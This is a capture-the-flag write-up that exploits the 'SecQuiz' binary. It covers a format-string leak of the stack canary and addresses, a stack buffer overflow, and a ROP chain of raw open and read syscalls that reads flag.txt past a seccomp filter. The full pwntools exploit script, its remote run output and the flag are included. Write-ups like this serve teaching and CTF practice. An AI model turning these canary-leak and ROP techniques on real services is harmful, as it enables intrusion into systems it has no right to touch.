Cyber League Major 2 2022

SecQuiz


I have enabled most of the security mechanisms. I guess my binary is secure.
Note: the flag is stored in flag.txt

Running checksec, we see we have all security mitigations enabled:

➜  bin-secquiz checksec secquiz 
[*] '/home/justin/cl2/bin-secquiz/secquiz'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Decompiling with ghidra, we zoom in to the interesting bits.

void main(void) {
  int iVar1;
  long in_FS_OFFSET;
  char local_15[5];
  undefined8 local_10;

  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setup();
  puts("Welcome to guessy quiz!");
  create_account();
  do {
    while (true) {
      while (true) {
        banner();
        read(0, local_15, 4);
        iVar1 = atoi(local_15);
        if (iVar1 != 1) break;
        start_quiz();
      }
      if (iVar1 != 2) break;
      view_highest_score();
    }
    if (iVar1 == 3) {
      exit_quiz();
    } else {
      puts("Invalid choice");
    }
  } while (true);
}

void setup(void) {
  long lVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  uVar2 = seccomp_init(0);
  seccomp_rule_add(uVar2, 0x7fff0000, 5, 0);
  seccomp_rule_add(uVar2, 0x7fff0000, 1, 0);
  seccomp_rule_add(uVar2, 0x7fff0000, 2, 0);
  seccomp_rule_add(uVar2, 0x7fff0000, 0, 0);
  seccomp_rule_add(uVar2, 0x7fff0000, 3, 0);
  seccomp_rule_add(uVar2, 0x7fff0000, 0x3c, 0);
  seccomp_load(uVar2);
  setbuf(stdin, (char *)0x0);
  setbuf(stdout, (char *)0x0);
  setbuf(stderr, (char *)0x0);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void create_account(void) {
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  printf("%s", "Enter your name (20 characters):\n> ");
  fgets(NAME, 0x14, stdin);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void start_quiz(void) {
  int iVar1;
  long in_FS_OFFSET;
  int local_158;
  int local_154;
  char local_14d[5];
  char local_148[312];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand(0x539);
  NUM_OF_CORRECT_ANS = 0;
  PLAY = 1;
  for (local_154 = 0; local_154 < 3; local_154 = local_154 + 1) {
    printf("%d. Guess a number between 1-100 (inclusive): \n> ", (ulong)(local_154 + 1));
    read(0, local_14d, 4);
    local_158 = atoi(local_14d);
    while ((local_158 < 1 || (100 < local_158))) {
      printf("> ");
      read(0, local_14d, 5);
      local_158 = atoi(local_14d);
    }
    iVar1 = rand();
    if (local_158 == iVar1 % 100 + 1) {
      NUM_OF_CORRECT_ANS = NUM_OF_CORRECT_ANS + 1;
    }
  }
  printf("Score: %d\n", (ulong)NUM_OF_CORRECT_ANS);
  if ((int)HIGHEST_SCORE < (int)NUM_OF_CORRECT_ANS) {
    HIGHEST_SCORE = NUM_OF_CORRECT_ANS;
  }
  if (NUM_OF_CORRECT_ANS == 3) {
    puts("Congrats! You have guessed all the questions correctly");
    printf("How did you managed to guess correctly?\n> ");
    fgets(local_148, 1000, stdin);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void view_highest_score(void) {
  long lVar1;
  long in_FS_OFFSET;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (PLAY == 0) {
    puts("You have not tried the quiz yet");
  } else {
    printf("Name: ");
    printf(NAME);
    printf("Highest Score: %d/3\n", (ulong)HIGHEST_SCORE);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Firstly, we see that we have seccomp rules enabled:

➜  bin-secquiz seccomp-tools dump ./secquiz    
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0011
 0007: 0x15 0x03 0x00 0x00000002  if (A == open) goto 0011
 0008: 0x15 0x02 0x00 0x00000003  if (A == close) goto 0011
 0009: 0x15 0x01 0x00 0x00000005  if (A == fstat) goto 0011
 0010: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

Now we go bug hunting.

Bug 1: On Line 103, we have a buffer overflow where fgets reads 1000 bytes into a stack array which is only 312 bytes long. This is triggered when we successfully "guess" 3 "randomly" generated numbers. However, srand is called with the same number everytime - we can just break at the comparison with a debugger and note down the value compared to.

Bug 2: On Line 121, we have a format string bug where NAME is a 20 byte, user controlled buffer which we can write to at the start of the program.

Bug 1 is the interesting one - we can override the return address of the function and gain control of executed instructions. However, with stack canaries enabled, blindly overwriting the canary will cause the program to quit.

Bug 2 is still useful to leak information from the stack, most importantly to leak the stack canary (which stays the same for each run of the binary) and use it as part of our buffer overflow payload.

Our plan of attack is thus as follows:

  1. Enter a NAME that leaks the value of the stack canary from the stack
  2. Play the quiz, submitting wrong answers so that we can display the high score and trigger the format string bug
  3. Trigger the format string bug, leaking the stack canary
  4. Play the quiz again, submitting correct answers so that we can trigger the buffer overflow

What next? We now have control over the instruction pointer...except with ASLR enabled, we don't know where we can jump to. The obvious thing to do now is to leak the position of libc in memory and call system(/bin/sh), but the seccomp rules prohibit this.

We thus tweak our exploitation of Bug 2 - we leak the following:

  1. Stack canary (item 1)
  2. Address of the stack (item 2): inspection of the stack right before the printf shows that we have a pointer to somewhere on the stack. Leaking this allows us to compute the address to the buffer that Bug 1 overflows.
  3. Return address into the binary (item 3): this leaks the address of the binary, allowing us to calculate the base of the binary and thus use ROP gadgets from the binary
  4. __libc_start_main+243 (item 9): this leaks the address of a symbol in libc, allowing us to calculate the base of libc

We now take a slight detour to identify the libc version used on the server by leaking the GOT entry of various functions.

To accomplish this, we create a ROP chain to call printf to leak the GOT entries. We make use of the buffer that overflows as the format specifier for printf, placing our format specifier (terminated by a null as end of string) there.

rop = ROP([e])
# rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
rop.call("plt.printf", [addr_buffer_start, e.symbols["got.rand"]])

play(correct=True)

payload = flat({
    0: b"foo%sbar\x00",
    312: p64(canary),
    312 + 16: rop.chain()
})

r.sendlineafter(b"guess correctly?\n", payload)

r.recvuntil(b"foo")
recv = r.recvuntil(b"bar", drop=True) + b"\x00\x00"
res = u64(recv)
print(hex(res))

(Note the potential need to pad the position of the ROP chain if calls to libc segfaults at a moveaps instruction - it was observed that moveaps was called with a stack pointer as an operand, which must be 16 byte aligned. Adding an extra ret pad to the ROP chain shifts the stack pointer so that the moveaps operand is aligned)

We then run the above against the remote server repeatedly, and note down the last 3 nibbles of the addresses returned. The last 3 nibbles of multiple functions is sufficient to identify the libc version used because these offsets are not affected by ASLR.

  1. read: 0x130
  2. exit: 0xbc0
  3. __libc_start_main: 0xfc0

Keying these functions and offsets into https://libc.rip/ returns three options. Not being able to narrow it down further, we grab all three and start with libc6_2.31-0ubuntu9.3_amd64.

Now that we have the libc version, we can take full advantage of the functions and gadgets within. Unfortunately, due to the seccomp rules, we can't call open directly because it eventually calls sys_openat which is blocked by seccomp.

We take the slightly more laborious route of executing sys_open and sys_read directly (referencing this nice table). We make use of a syscall; ret; gadget in libc, setup rax, rdi, rsi and rdx accordingly and fire away.

rop = ROP([e, libc])
rop(rax=2) # sys_open
rop.call(libc.address + OFFSET_SYSCALL_RET, [addr_buffer_start, 0, 0]) # sys_open, returns next fd=3
rop(rax=0) # sys_read
rop.call(libc.address + OFFSET_SYSCALL_RET, [3, addr_buffer_start, 64]) # sys_read, fd=3, 64 bytes
rop.call("plt.puts", [addr_buffer_start])

We also don't bother reading the return value of sys_open because we can assume its the next available file descriptor (confirmed with a debugger locally) - 3.

Put together, we get our flag:

from pwn import *

# Inspect with debugger
ANSWERS = [82, 63, 28]

BINARY = "./secquiz"

# local = True
local = False

if local:
    OFFSET_LIBC_ADDR_MAIN = 0x23f90
    OFFSET_SYSCALL_RET = 0x10db59
    libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
else:
    OFFSET_LIBC_ADDR_MAIN = 0x26fc0
    OFFSET_SYSCALL_RET = 0x110cc9
    libc = ELF("./libc6_2.31-0ubuntu9.3_amd64.so")

e = ELF(BINARY)

context.arch="amd64"

if local:
    r = process(BINARY)

    gdb.attach(r, """
    b *start_quiz+435
    b *start_quiz+452
    ignore 1 100000
    ignore 2 1
    c
    """)
else:
    r = remote("54.254.227.27", 5004)

# """
# read=0x130
# exit=0xbc0
# __libc_start_main=0xfc0
# https://libc.rip/
# libc6_2.31-0ubuntu9.2_amd64
# libc6_2.31-0ubuntu9.1_amd64
# libc6_2.31-0ubuntu9.3_amd64
# """

r.sendlineafter(b"20 characters):", b"%7$p%8$p%9$p%15$p")

# Play once
def play(correct=False):
    r.sendlineafter(b"Start Quiz", b"1")
    for ans in ANSWERS:
        if correct:
            r.sendlineafter(b"inclusive): \n", str(ans).encode("utf8"))
        else:
            r.sendlineafter(b"inclusive): \n", b"1")

play()
r.sendlineafter(b"highest score", b"2")
r.recvuntil(b"Name: 0x")
canary = int(r.recvuntil(b"0x", drop=True), 16)
addr_stack = int(r.recvuntil(b"0x", drop=True), 16)
addr_main = int(r.recvuntil(b"0x", drop=True), 16) - 136
addr_libc_start_main = int(r.recvline(), 16) - 243

print(f"{hex(addr_libc_start_main)=}")

addr_buffer_start = addr_stack - 0x170

libc.address = addr_libc_start_main - OFFSET_LIBC_ADDR_MAIN
e.address = addr_main - 5708

print(f"{hex(e.address)=}")
print(f"{hex(libc.address)=}")

# Used to leak libc offsets to identify version

# rop = ROP([e])
# # rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
# rop.call("plt.printf", [addr_buffer_start, e.symbols["got.rand"]])

# print(rop.dump())

# play(correct=True)

# payload = flat({
#     0: b"foo%sbar\x00",
#     312: p64(canary),
#     312 + 16: rop.chain()
# })

# r.sendlineafter(b"guess correctly?\n", payload)

# r.recvuntil(b"foo")
# recv = r.recvuntil(b"bar", drop=True) + b"\x00\x00"
# res = u64(recv)
# print(hex(res))

# r.interactive()

rop = ROP([e, libc])
# rop.call(rop.ret) # padding for moveaps to operate on 16 bit aligned data pointer
rop(rax=2) # sys_open
rop.call(libc.address + OFFSET_SYSCALL_RET, [addr_buffer_start, 0, 0]) # sys_open, returns next fd=3
rop(rax=0) # sys_read
rop.call(libc.address + OFFSET_SYSCALL_RET, [3, addr_buffer_start, 64]) # sys_read, fd=3, 64 bytes
rop.call("plt.puts", [addr_buffer_start])

print(rop.dump())

play(correct=True)

payload = flat({
    0: b"flag.txt\x00",
    312: p64(canary),
    312 + 16: rop.chain()
})

r.sendlineafter(b"guess correctly?\n", payload)
r.interactive()
➜  bin-secquiz python3 solve.py
[*] '/home/justin/cl2/bin-secquiz/libc6_2.31-0ubuntu9.3_amd64.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/justin/cl2/bin-secquiz/secquiz'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 54.254.227.27 on port 5004: Done
hex(addr_libc_start_main)='0x7f4d4f86bfc0'
hex(e.address)='0x55c39a800000'
hex(libc.address)='0x7f4d4f845000'
[*] Loaded 14 cached gadgets for './secquiz'
[*] Loaded 201 cached gadgets for './libc6_2.31-0ubuntu9.3_amd64.so'
0x0000:   0x7f4d4f88f550 pop rax; ret
0x0008:              0x2
0x0010:   0x7f4d4f961371 pop rdx; pop r12; ret
0x0018:              0x0 [arg2] rdx = 0
0x0020:      b'iaaajaaa' <pad r12>
0x0028:   0x7f4d4f86c529 pop rsi; ret
0x0030:              0x0 [arg1] rsi = 0
0x0038:   0x55c39a80175b pop rdi; ret
0x0040:   0x7ffda501c6f0 [arg0] rdi = 140727371810544
0x0048:   0x7f4d4f955cc9
0x0050:   0x7f4d4f88f550 pop rax; ret
0x0058:              0x0
0x0060:   0x7f4d4f961371 pop rdx; pop r12; ret
0x0068:             0x40 [arg2] rdx = 64
0x0070:      b'daabeaab' <pad r12>
0x0078:   0x7f4d4f86c529 pop rsi; ret
0x0080:   0x7ffda501c6f0 [arg1] rsi = 140727371810544
0x0088:   0x55c39a80175b pop rdi; ret
0x0090:              0x3 [arg0] rdi = 3
0x0098:   0x7f4d4f955cc9
0x00a0:   0x55c39a80175b pop rdi; ret
0x00a8:   0x7ffda501c6f0 [arg0] rdi = 140727371810544
0x00b0:   0x55c39a801050 plt.puts
[*] Switching to interactive mode
> CYBERLEAGUE{y0u_4r3_4_g00d_5tack_sma5h3r}aaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaad
[*] Got EOF while reading in interactive